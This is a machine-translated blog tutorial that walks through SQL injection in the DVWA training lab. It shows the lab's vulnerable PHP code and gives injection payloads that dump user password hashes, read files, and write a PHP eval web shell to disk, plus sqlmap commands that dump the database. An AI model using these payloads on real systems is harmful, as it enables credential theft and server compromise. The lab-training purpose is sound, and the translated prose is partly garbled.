DVWA] [SQL Injection (SQL injection) clearance Tutorial


Date: 2019-07-28 20:43:48
update:
Author: Bay0net
description:


0x00, basic information

About mysql related injection portal.

SQL injection vulnerability of mysql - Bay0net - blog Park

0x01、Low Security Level

View Code

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?> 

Look at the code shows, the server came user_idwithout any filtering, can be injected directly into the process in accordance with the manual.

# 判断是否为注入
?id=1' or '1'='1
?id=1' or '1'='2

# 判断字段长度(2 正常,3 异常)
?id=1' order by 2 -- 
?id=1' order by 3 --

# 确定回显点
?id=1' union select 111,222 -- 

# 用户名和数据库名称
?id=1' union select user(),database() -- 
-- output:admin@localhost、dvwa

# 查看当前用户和 mysql 版本
?id=1' union select current_user(),version() -- 
-- output:First name: admin@%、 5.5.47-0ubuntu0.14.04.1

# 爆表名
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database() -- 
-- output:guestbook,users

# 爆列名(两种办法,加引号或者十六进制编码)
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273 -- 
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' -- 
-- output:user_id,first_name,last_name,user,password,avatar,last_login,failed_login

# 爆字段名
?id=1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users  -- 
?id=1' union select null,concat_ws(char(32,58,32),user,password) from users -- 
?id=1' union select user,password from users -- 
-- output:admin/5f4dcc3b5aa765d61d8327deb882cf99

# 读文件
?id=1' union select 1,load_file('//tmp//key') -- 

# 写文件()
?id=1' and '1'='2' union select null,'hello' into outfile '/tmp/test01' --
?id=999' union select null,'hello' into outfile '/tmp/test02' --
?id=999'  union select null,'<?php @eval($_POST["gg"]); ?>' into outfile '/tmp/test03' --  
?id=999' union select 1,0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E into outfile '//tmp//test04' -- 

0x02、Medium Security Level

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Display values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    //mysql_close();
}

?> 

Use a mysqli_real_escape_stringfunction to escape special characters, while the front page set up drop-down selection form, hoping to control the user's input.

Escaped special characters as follows

\x00
\n
\r
\
'
"
\x1a

PHP mysql_real_escape_string () function

Here is a digital-type implant, so little relationship between the filter and special symbols, using the hackbarconduct POSTcan be.

# 判断注入点
id=1 and 1=1 &Submit=Submit
id=1 and 1=2 &Submit=Submit

# 爆数据
id=1 union select user,password from users&Submit=Submit

0x03、High Secuirty Level

Here added a limit 1limiting output, but may be directly commented, solution and Low Security Levelthe same.

0x04、Impossible Secuity Level

Using PDOtechnology to draw a line of code and data, effectively prevent SQL injection, while the number of query results returned only for the moment, will succeed output, thus effectively prevent the "Tuoku" Anti-CSRFtokenmechanism added to further improve the safety.

DVWA SQL Injection clearance Tutorials | AnCoLin's Blog | wind shadow blog

0x05, sqlmap a shuttle

Use tools for injection sqlmap

# 爆所有数据库
sqlmap -r 1.txt --dbs
-- output:dvwa、information_schema、mysql、performance_schema

# 爆表名
sqlmap -r 1.txt -D dvwa --tables
-- output:guestbook、users

# 爆字段名
sqlmap -r 1.txt -D dvwa -T users --columns
-- output:user、password、first_name、last_login、last_name……

# 爆字段内容
sqlmap -r 1.txt -D dvwa -T users -C user,password --dump
-- output:得到账号和 MD5 hash 后的密码

Guess you like

Origin www.cnblogs.com/v1vvwv/p/DVWA-SQL-Injection.html